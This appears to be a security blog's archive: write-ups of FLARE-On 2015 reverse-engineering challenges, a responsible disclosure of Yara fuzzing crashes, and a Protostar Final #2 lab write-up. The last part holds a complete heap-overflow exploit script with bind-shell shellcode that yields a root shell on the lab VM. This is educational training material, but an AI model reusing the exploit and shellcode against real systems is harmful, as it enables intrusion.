Thursday, August 25, 2016

FLARE On 2015 - Challenge 5


About:


This is the 5th challenge from FireEye's 2015 "FLARE On" challenge (http://flare-on.com/)


Solution:

Challenge 5 is different again from the ones before. 

This time we get an exe file called "sender" and a pcap file called "challenge.pcap", so it seems likely we'll need to reverse-engineer the exe to understand some piece of data hidden in the pcap.

Let's take a quick look at the pcap:


For better or worse, it looks like the only data transmitted went out via HTTP POST requests, where the only data sent was 4 bytes in each packet (here: UDYs).

The server responds with simple "1"s. 

So we have it, the full data transmitted in hex was:

55445973314437624e6d6445316f3367356d733156365272594356764f444a46314470784b5478414a3978755a573d3d

In binary this looks like:

UDYs1D7bNmdE1o3g5ms1V6RrYCVvODJF1DpxKTxAJ9xuZW==

Base64?? Un-base64'd it looks like:

P6,\xd4>\xdb6gD\xd6\x8d\xe0\xe6k5W\xa4k`%o82E\xd4:q)<@'\xdcne

Hmmm.... Alright let's break open the exe file with IDA:



Right off the bat, it looks like we're reading a key file "key.txt". So first guess, maybe this will send off the key.txt file after it's been encrypted/encoded and our task is to recover the original file?

Jumping ahead into the part of the code where the imported HTTP-related libraries are used, we get this:



Ok this is looking pretty good & simple. If we explore the calling tree a bit more, we come across what looks like a pretty straightforward XOR loop:



It seems to be using the "flarebearstare" string as a fixed key.

Once we notice that the base64 routine uses a custom, case-swapped alphabet ("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/"), it looks like we may be getting pretty close to being done....


Writing out a python3 routine to take the data sent over the network interface, decode it using the special base64 alphabet, and then decrypt it with the constant key XOR, we get something like this:


from base64 import b64decode

KEY = 'flarebearstare'

def decrypt(str):
    result = ""
    for i, b in enumerate(str):
        result += chr(b - ord(KEY[i % len(KEY)]))
     
    return result

data = b64decode('UDYs1D7bNmdE1o3g5ms1V6RrYCVvODJF1DpxKTxAJ9xuZW=='.swapcase())

print(decrypt(data))


Running this code, we see the following printed out:

Sp1cy_7_layer_OSI_dip@flare-on.com

Woo hoo!

FLARE On 2015 - Challenge 4


About:


This is the 4th challenge from FireEye's 2015 "FLARE On" challenge (http://flare-on.com/)


Solution:

For a couple reasons this one took me a while to get going on... First, my VM didn't have the required mfc100u.dll:



Ok, I'll just grab a random dll off the internet and try that :)



Taking a closer look at the youPecks.exe file, it looks like it's UPX packed. Let's see what happens when we unpack it with the UPX utility's -d option and run the two versions:


Hmm, that's interesting.

While I didn't look into why exactly the manually unpacked version crashes instead of printing the "2 + 2 = 5" I saw from other people, knowing that the behavior is somehow changed, we're good enough to keep going...


Let's review what happens when we (a) execute a UPX-packed binary and (b) use UPX to unpack a packed binary.

In (a), a bit of unpacking code that's embedded within the .exe file is executed first. This performs the unpacking procedure, loads imports, and continues the execution of the original program.

In (b), the UPX utility is executed, which reads the UPX header of the packed binary and unpacks the EXE. The stub from (a) is not directly used and will be subsequently ignored.

This means that with the case of (a), additional code can be patched into the original packed binary that will cause the behavior of the EXE to be different between the packed & unpacked versions.


Let's look at the original youPecks.exe in IDA.

One spot that sticks out is at the end of the unpacking stub, it looks like a value in memory is being set to a hard-coded '4' value:



This seems to be right after an XOR loop that looks to be swapping the case of an alphabet string.

Setting a breakpoint confirms that that's the section of code critical to ensuring what's printed is "2 + 2 = 4" and the other function it performs is swapping the case in the string that will later be used for base64 decoding...

If we keep moving on and let the execution jump to the unpacked code, it looks more like a traditional program:



Looking at the unpacked code in IDA, we can see some nice structure if/else chains kicked off after it does something with GetCommandLineW, atoi, and the current hour from _localtime64_s:






It also seems to be checking something with or using specific base64-encoded strings in each block...

Looking closer, it looks like it creates a vector object using these strings and then decides which to use with the current hour & value passed in on the command line.

If we pick the base64 text coming from each of the first blocks, we should be able to try to manually decrypt the data:


from base64 import b64decode

data = b64decode("XTd3NiPLZBQ5N1FqkBN+a/Av6SpqBS/K".swapcase())
xor = b64decode("K7IfRF4nOiNn9Jsqt9wFCq==".swapcase())

for x in range(len(data)):
    print(chr(xor[x % len(xor)] ^ data[x]))


Running this with python3 gives us our answer :)

U
h
r
1
t
h
m
3
t
i
c
@
f
l
a
r
e
-
o
n
.
c
o
m


FLARE On 2015 - Challenge 3


About:


This is the 3rd challenge from FireEye's 2015 "FLARE On" challenge (http://flare-on.com/)


Solution:

This one looks a little different from the first two.

This time we're given a single executable file that, given the icon, looks like it may be derived from a python file using something like py2exe:



Let's see what happens when we run it.... Looks like a picture pops up like this:



So it's not immediately clear what this gets us, but let's go ahead and see if there's a way to recover the original source code if it was indeed made from Python code.


I decided to use pyinstallerextractor, which confirmed it was derived from some Python2.7 code:



Now let's take a look through the extracted code....

The file that immediately stuck out was "elfie", which looks like more obfuscated Python code:




Thousands and thousands of lines.... until finally:




Ok, let's see if we change the "exec()" call to a print() and dump the results to a new file:



Looks pretty good.... wait what's this?


Woo hoo!

Elfie.L0000ves.YOOOO@flare-on.com









FLARE On 2015 - Challenge 2


About:


This is the 2nd challenge from FireEye's 2015 "FLARE On" challenge (http://flare-on.com/)


Solution:

The first thing to notice about this one is how similar it looks to the last challenge.

Although this time, instead of a simple XOR loop, it looks like we're calling sub_401084 to decide if "You are success" or if "You are failure":





Let's take a closer look at that subroutine:



While it looks like there are some weird instructions used in there, it does look rather small and hopefully we can replicate the logic in a separate Python script.

After writing this out by hand on a piece of paper, reducing & rewriting it a few times, I came up with something along the lines of this:


def rol(byte, count): 
    byte = (byte << count | byte >> (8 - count)) & 0xFF 
    return byte 


data = '\xAF\xAA\xAD\xEB\xAE\xAA\xEC\xA4\xBA\xAF\xAE\xAA\x8A\xC0\xA7\xB0\xBC\x9A\xBA\xA5\xA5\xBA\xAF\xB8\x9D\xB8\xF9\xAE\x9D\xAB\xB4\xBC\xB6\xB3\x90\x9A\xA8'[::-1]

AH = AL = AX = BX = DX = 0 
result = '' 

for c in data: 
    AH = rol(1, DX) 
    AL = (ord(c) - AH - 1) ^ 0xC7 
    BX += ord(c)
    DX = BX & 3 
    result += chr(AL)

print(result)


Running this across the data stored in memory gives you something like this:

a_Little_b1t_harder_plez@flare-on.com


Woo hoo!

FLARE On 2015 - Challenge 1


About:


This is the 1st challenge from FireEye's 2015 "FLARE On" challenge (http://flare-on.com/)

I'll be writing up solutions to last year's challenges as a way to prep for the 2016 challenges, coming out (hopefully) soon :)


Solution:

Opening up the first challenge .exe in IDA, the functionality looks quite simple:





So this doesn't look too bad. It prompts for a password, copies the string to memory, runs a loop over it (xor decryption?), and then decides if "You are failure" or if "You are success".

Given that it's such an early level, it seems definitely possible it's just that simple.

Let's look at the section of memory that's used in or XOR loop:



Hmm ok this looks pretty good.... definitely seems plausible it's just ciphertext that's been xor'd with the value 0x7B.

Let's write a quick Python script to un-xor the raw bytes:



Woohoo! Looks like we're all done :)

bunny_sl0pe@flare-on.com


Saturday, August 1, 2015

Reporting Crashes in Yara to Victor Alvarez/VirusTotal

Overview:

I wanted to find a program to practice using AFL on and decided to settle on the "pattern matching swiss knife for malware researchers", Yara.

After a few days of fuzzing, I found two heap overflows, however I did not try to pursue exploitation. The rest of the unique crash cases came from divide by zero errors.

Overall, the response by the developer behind Yara was extremely effective. I had initially intended to only send him one crashing input, ask him to fuzz/search on his own, and wait to see how many of our crashing inputs matched before sending the rest, but since he had found & patched the underlying flaw for the first crash within hours, I decided to just send him everything.


Correspondance:

At 2015-06-29 10:19 PM EST, I wrote:

Hi Victor,

I started fuzzing yara with American Fuzzy Lop and found many input rule files that cause yara v3.4.0 to crash.

Most are harmless floating-point exceptions but some are possibly more serious (segfaults / heap stack overflows / etc.). This would affect anyone who accepts and runs yara scans with arbitrary rule files (I have a website that does this and, depending on how VirusTotal uses its users' yara rules, VT may be affected as well).

I'm just starting to triage the results to see if any look exploitable, but I was wondering if you've looked into fuzzing yara before or are familiar with AFL. Triaging would be much easier with the help of someone familiar with the codebase.

Here's one example you can try out now (attached). For me, running any query with this rule file or just compiling with yarac causes a segfault (for both released v3.4.0 or master branch on git).

ex: "yara segfault.yara ./" or "yarac segfault.yara out"

Andy



At 2015-06-30 5:33 AM EST, I received a reply:

Hi Andy,

Actually I haven't looked into fuzzing yara, but a think it's a good idea. If you send me those files causing crashes I can take a look and fix the bugs. This one is fixed in the latest commit (https://github.com/plusvic/yara/commit/cf4746dd2228d22aa961e67c8447e90c6917a14d)

Cheers,
Víctor



At 2015-06-30 11:29 AM EST, I wrote:

Hi Victor,

Wow, that was quick! Here's a .tar.gz of all the crashes I've found so far (attached).

The input test cases are in input/, and ASAN-information.txt contains information about what happened in each case. AFL does its best to try to "unique-ify" the input crash files, but I haven't re-tested these with the latest code from github yet.

All except a few of these were found by fuzzing with ASAN turned off, so I'd expect there'll be a few more cases that pop up when ASAN is turned on while fuzzing.

Do you know if VirusTotal is covered by any of Google's bug bounty program? (Or does VT have one of its own?)

Cheers,
Andy



At 2015-06-30 11:37 AM EST, I received a reply:


Great! I'm going to look at this and try to fix any potential issue. I'm also playing a little bit with American Fuzzy Lop to try to find some more crashes.

As far as I know VirusTotal is not covered by any of Google's bug bounty program, and we don't have our own.



At 2015-06-30 11:59 AM EST, I wrote:


Ok, sounds good. In my case, it took AFL a few hours to start finding anything.

I can send more detailed stats / info about my scanning set up if you have issues reproducing what I found.

Andy



At 2015-06-30 3:08 PM EST, I received a reply:

I've fixed two additional bugs: the floating-point exceptions (which were caused by divisions by zero) and the heap overflow.

The heap overflow doesn't seem to be exploitable, as the user can't control the overwriting data.

 Your information has been very valuable, thank you for your contribution!



A list of commits that contained fixes:

Saturday, February 14, 2015

Protostar - Final #2

About:

This is the last level of the Protostar series. (link)


Source Code:




Solution:

It took me a while just to find the vulnerability here. There's not a description of what the code is doing, so it took some time just to understand what was going on.

One thing that still doesn't make sense is that the destroylist array is never set to anything before it's used in the free call on line 57. You can see buf is set to the return address of calloc on line 45, but it's destroylist that is freed, not buf!

I kept going, assuming a "destroylist[dll] = buf" line was left out somewhere...

I started out by messing around to see if I could cause a crash or hang somewhere:

$ python -c "print 'FSRD' + 'x'*118 + '/ROOT/'" | nc 127.0.0.1 2993
Process OK
Process OK

$ python -c "print 'FSRD' + 'x'*116 + '/ROOT/'" | nc 127.0.0.1 2993
Process OK

$ python -c "print 'FSRD' + 'x'*117 + '/ROOT/'" | nc 127.0.0.1 2993
^C (hangs)

$ python -c "print '/'*128 + 'FSRD' + 'x'*117 + '/ROOT/'" | nc 127.0.0.1 2993
Process OK

Why doesn't this trigger the printf statement? oh... "Process OK" is coming from a write call... printf is going somewhere else...

Eventually I got it to crash and leave a coredump in /tmp/ with the following input:

$ python -c "print 'FSRD' + 'a'*124 + 'FSRD' + 'x'*117 + '/ROOT/'" | nc 127.0.0.1 2993

Loading the coredump:

root@protostar:/tmp# gdb /opt/protostar/bin/final2 core.11.final2.1919 
GNU gdb (GDB) 7.0.1-debian
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /opt/protostar/bin/final2...done.

warning: Can't read pathname for load map: Input/output error.
Reading symbols from /lib/libc.so.6...Reading symbols from /usr/lib/debug/lib/libc-2.11.2.so...done.
(no debugging symbols found)...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...Reading symbols from /usr/lib/debug/lib/ld-2.11.2.so...done.
(no debugging symbols found)...done.
Loaded symbols for /lib/ld-linux.so.2
Core was generated by `/opt/protostar/bin/final2'.
Program terminated with signal 11, Segmentation fault.
#0  strlen () at ../sysdeps/i386/i486/strlen.S:69
69 ../sysdeps/i386/i486/strlen.S: No such file or directory.
in ../sysdeps/i386/i486/strlen.S


(gdb) i r
eax            0x0 0
ecx            0x0 0
edx            0x0 0
ebx            0xb7fd7ff4 -1208123404
esp            0xbffff7fc 0xbffff7fc
ebp            0xbffff828 0xbffff828
esi            0x0 0
edi            0x0 0
eip            0xb7f0a313 0xb7f0a313 <strlen+51>
eflags         0x10246 [ PF ZF IF RF ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0 0
gs             0x33 51

Unfortunately, this seems to be crashing during the strlen call...

Since we know this is a heap vulnerability, it would be good if we could get it to crash during the free call, which should give us the ability to eventually work it into an arbitrary write using the something like the 'unlink' trick from the earlier heap levels.

Now let's try something like this:

# python -c "print 'FSRD' + 'a'*123 + '/' + 'FSRD' + 'ROOT' + '/' + 'a'*119" | nc 127.0.0.1 2993
Process OK

a coredump is made:

root@protostar:/tmp# gdb /opt/protostar/bin/final2 core.11.final2.2065 
...
Program terminated with signal 11, Segmentation fault.
#0  0x0804aabf in free (mem=0x804e008) at final2/../common/malloc.c:3643

Nice!

Ok, so we're now failing in the call to free.

Now we just have to work it into something that will let us write to an arbitrary address.

Let's first find what object in the GOT we'll try to overwrite....

root@protostar:/tmp# objdump -R /opt/protostar/bin/final2 

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE 
0804d3d8 R_386_GLOB_DAT    __gmon_start__
0804d4c0 R_386_COPY        stderr
0804d4c4 R_386_COPY        __environ
0804d4c8 R_386_COPY        stdin
0804d4e0 R_386_COPY        stdout
0804d3e8 R_386_JUMP_SLOT   __errno_location
0804d3ec R_386_JUMP_SLOT   srand
0804d3f0 R_386_JUMP_SLOT   open
0804d3f4 R_386_JUMP_SLOT   mmap
0804d3f8 R_386_JUMP_SLOT   setgroups
0804d3fc R_386_JUMP_SLOT   getpid
0804d400 R_386_JUMP_SLOT   strerror
0804d404 R_386_JUMP_SLOT   daemon
0804d408 R_386_JUMP_SLOT   sysconf
0804d40c R_386_JUMP_SLOT   err
0804d410 R_386_JUMP_SLOT   signal
0804d414 R_386_JUMP_SLOT   __gmon_start__
0804d418 R_386_JUMP_SLOT   mremap
0804d41c R_386_JUMP_SLOT   write
0804d420 R_386_JUMP_SLOT   listen
0804d424 R_386_JUMP_SLOT   memset
0804d428 R_386_JUMP_SLOT   __libc_start_main
0804d42c R_386_JUMP_SLOT   wait
0804d430 R_386_JUMP_SLOT   htons
0804d434 R_386_JUMP_SLOT   read
0804d438 R_386_JUMP_SLOT   setresuid
0804d43c R_386_JUMP_SLOT   setresgid
0804d440 R_386_JUMP_SLOT   sbrk
0804d444 R_386_JUMP_SLOT   accept
0804d448 R_386_JUMP_SLOT   socket
0804d44c R_386_JUMP_SLOT   dup2
0804d450 R_386_JUMP_SLOT   memcpy
0804d454 R_386_JUMP_SLOT   strlen
0804d458 R_386_JUMP_SLOT   asprintf
0804d45c R_386_JUMP_SLOT   printf
0804d460 R_386_JUMP_SLOT   bind
0804d464 R_386_JUMP_SLOT   close
0804d468 R_386_JUMP_SLOT   fwrite
0804d46c R_386_JUMP_SLOT   fprintf
0804d470 R_386_JUMP_SLOT   strstr
0804d474 R_386_JUMP_SLOT   setvbuf
0804d478 R_386_JUMP_SLOT   execve
0804d47c R_386_JUMP_SLOT   rindex
0804d480 R_386_JUMP_SLOT   memmove
0804d484 R_386_JUMP_SLOT   fork
0804d488 R_386_JUMP_SLOT   setsockopt
0804d48c R_386_JUMP_SLOT   rand
0804d490 R_386_JUMP_SLOT   htonl
0804d494 R_386_JUMP_SLOT   strncmp
0804d498 R_386_JUMP_SLOT   munmap
0804d49c R_386_JUMP_SLOT   snprintf
0804d4a0 R_386_JUMP_SLOT   strcmp
0804d4a4 R_386_JUMP_SLOT   exit


We know write will get called after the first free call... what if we try that?

root@protostar:/tmp# objdump -R /opt/protostar/bin/final2  | grep "write"
0804d41c R_386_JUMP_SLOT   write
0804d468 R_386_JUMP_SLOT   fwrite


Let's first go back and take the code from the 3rd heap level (http://secwriteups.blogspot.com/2014/12/protostar-heap-3.html).
**DON'T FORGET YOU NEED TO DEAL WITH NETWORK BYTE ORDER NOW!**

root@protostar:/tmp# python -c "print 'FSRD' + 'a'*123 + '/' + 'FSRD' + 'ROOT' + '/' + '\xf0\xff\xff\xff\xfc\xff\xff\xff'+ 'b'*111" | nc 127.0.0.1 2993
Process OK

root@protostar:/tmp# gdb /opt/protostar/bin/final2 core.11.final2.2205 
...
Program terminated with signal 11, Segmentation fault.
#0  0x0804aaef in free (mem=0x804e008) 

(gdb) x/i $eip
0x804aaef <free+301>: mov    %edx,0xc(%eax)

(gdb) i r
eax            0x62626262 1650614882
ecx            0x804c2d6 134529750
edx            0x62626262 1650614882
ebx            0xb7fd7ff4 -1208123404
esp            0xbffff7e0 0xbffff7e0
ebp            0xbffff828 0xbffff828
esi            0x0 0
edi            0x0 0
eip            0x804aaef 0x804aaef <free+301>
eflags         0x10246 [ PF ZF IF RF ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0 0
gs             0x33 51

Looks like we have an arbitrary write!! (with a +0xc offset in the value we will be writing)

let's make sure we control the to/from addresses:

root@protostar:/tmp# python -c "print 'FSRD' + 'a'*123 + '/' + 'FSRD' + 'ROOT' + '/' + '\xf0\xff\xff\xff\xfc\xff\xff\xff'+ 'a'*4 + 'b'*4 + 'c'*108" | nc 127.0.0.1 2993
Process OK

root@protostar:/tmp# gdb /opt/protostar/bin/final2 core.11.final2.2238 
...
Program terminated with signal 11, Segmentation fault.
#0  0x0804aaef in free (mem=0x804e008) at final2/../common/malloc.c:3648
...
(gdb) x/i $eip
0x804aaef <free+301>: mov    %edx,0xc(%eax)

(gdb) i r
eax            0x61616161 1633771873
ecx            0x804c2d6 134529750
edx            0x62626262 1650614882
ebx            0xb7fd7ff4 -1208123404
esp            0xbffff7e0 0xbffff7e0
ebp            0xbffff828 0xbffff828
esi            0x0 0
edi            0x0 0
eip            0x804aaef 0x804aaef <free+301>
eflags         0x10246 [ PF ZF IF RF ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0 0
gs             0x33 51

This looks pretty good!

using the write address from the GOT (0x0804d41c) and subtracting 0xc from it gives the target address 0x0804d410.

root@protostar:/tmp# python -c "print 'FSRD' + 'a'*123 + '/' + 'FSRD' + 'ROOT' + '/' + '\xf0\xff\xff\xff\xfc\xff\xff\xff'+ '\x1c\xd4\x04\x08' + 'aaaa' + 'c'*108" | nc 127.0.0.1 2993
Process OK

root@protostar:/tmp# gdb /opt/protostar/bin/final2 ./core.11.final2.2296 
...
Program terminated with signal 11, Segmentation fault.
#0  0x0804aaf8 in free (mem=0x804e008) at final2/../common/malloc.c:3648
(gdb) x/10x 0x804d41c
0x804d41c <_GLOBAL_OFFSET_TABLE_+64>: 0xb7f53c70 0xb7f63a60 0xb7f0bc60 0x61616161
0x804d42c <_GLOBAL_OFFSET_TABLE_+80>: 0xb7f2d890 0xb7f78be0 0xb7f53c00 0xb7f2efc0
0x804d43c <_GLOBAL_OFFSET_TABLE_+96>: 0xb7f2f040 0xb7f5ab20

Unfortunately, although we can succesfully hit the GOT, using this chunk layout corrupts the heap, causing a crash in a later part of free.

If instead we use 0xfffffffe and 0xfffffffc, we'll be able to get a similar arbitrary write without the previous crash.

The final solution:

#!/usr/bin/env python
#

import socket

HOST = "127.0.0.1"
PORT = 2993

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))

shellcode = "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80" \
            "\x5b\x5e\x52\x68\xff\x02\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a" \
            "\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0" \
            "\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f" \
            "\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0" \
            "\x0b\xcd\x80"

hdr = "\xfe\xff\xff\xff" + "\xfc\xff\xff\xff" + "\x10\xd4\x04\x08" + "\x18\xe1\x04\x08"

s.sendall("FSRD" + 'a'*123 + "/")
s.sendall("FSRD" + "ROOT" + 'b'*(119-len(hdr)) + "/" + hdr)
s.sendall('c'*(128-len(shellcode)) + shellcode)

print s.recv(1024)
print s.recv(1024)


s.close()


Running it looks like this:

root@protostar:/tmp# python final2.py 
Process OK
(hangs)

user@protostar:~$ nc 127.0.0.1 4444 
whoami  (<-- typed by me)
root